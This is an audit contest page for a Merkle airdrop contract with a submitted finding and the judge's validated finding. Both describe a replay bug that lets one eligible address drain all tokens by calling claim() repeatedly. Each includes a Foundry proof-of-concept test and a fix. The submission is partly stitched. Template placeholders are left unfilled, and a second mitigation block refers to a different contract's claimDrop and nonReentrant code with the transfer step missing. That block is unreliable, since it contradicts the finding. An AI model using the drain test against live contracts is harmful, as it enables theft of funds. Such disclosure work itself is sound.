AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Severity: high
Valid

# Finding C-1: Missing Claim Tracking — Unbounded Replay Drain

Root + Impact

Description

  • Describe the normal behavior in one

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Description
The `claim()` function has zero replay protection. There is no `claimed` bitmap, no `mapping(bytes32 => bool)`, and no `mapping(address => bool)` to track whether a proof has been used. Every valid proof can be replayed infinitely until the contract runs out of tokens.
```solidity
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount); // ← no check, no bitmap update, just sends
}
Severity
Critical — direct loss of all airdrop funds
Likelihood
High — requires only that a recipient (or anyone frontrunning one) calls claim() multiple times. No preconditions beyond being a valid proof holder.
Impact
Complete loss of all tokens held by the contract. The fee of 1e9 wei (~1 gwei ≈ $0) provides zero economic deterrent. Each claim doubles/triples/etc. the payout for a single proof.
Risk
An attacker who is one of the 4 eligible addresses drains the entire 100 USDC pool by calling claim() with their proof 4 times instead of 1. Total cost: 4 gwei. Total profit: 100 USDC.
Runnable PoC
pocs/ReplayDrainExploit.t.sol
function testReplayExploit() public {
uint256 contractStartBalance = token.balanceOf(address(airdrop));
assertEq(contractStartBalance, 4 * AMOUNT_PER_USER);
vm.startPrank(recipient);
airdrop.claim{value: airdrop.getFee()}(recipient, AMOUNT_PER_USER, proof); // claim 1
airdrop.claim{value: airdrop.getFee()}(recipient, AMOUNT_PER_USER, proof); // claim 2
airdrop.claim{value: airdrop.getFee()}(recipient, AMOUNT_PER_USER, proof); // claim 3
airdrop.claim{value: airdrop.getFee()}(recipient, AMOUNT_PER_USER, proof); // claim 4
vm.stopPrank();
assertEq(token.balanceOf(address(airdrop)), 0); // contract drained
assertEq(token.balanceOf(recipient), 4 * AMOUNT_PER_USER);
}
To run
forge test --match-path pocs/ReplayDrainExploit.t.sol -vvv
Mitigation
Add a claimed bitmap before transferring tokens:
mapping(bytes32 => bool) private s_claimed;
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) revert MerkleAirdrop__InvalidFeeAmount();
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (s_claimed[leaf]) revert MerkleAirdrop__AlreadyClaimed();
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert MerkleAirdrop__InvalidProof();
s_claimed[leaf] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Fix Reference
Uniswap's MerkleDistributor uses claimedBitMap and an index parameter — follow that pattern.

Recommended Mitigation

// Mitigation: Add nonReentrant modifier to the function signature
function claimDrop(bytes32[] calldata proof) external payable nonReentrant {
if (!verifyProof(proof)) revert drop__InvalidProof();
// 1. Effects (Update state flags like 'hasClaimed')
hasClaimed[msg.sender] = true;
// 2. Interactions (Transfer funds or trigger external calls)
}
- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!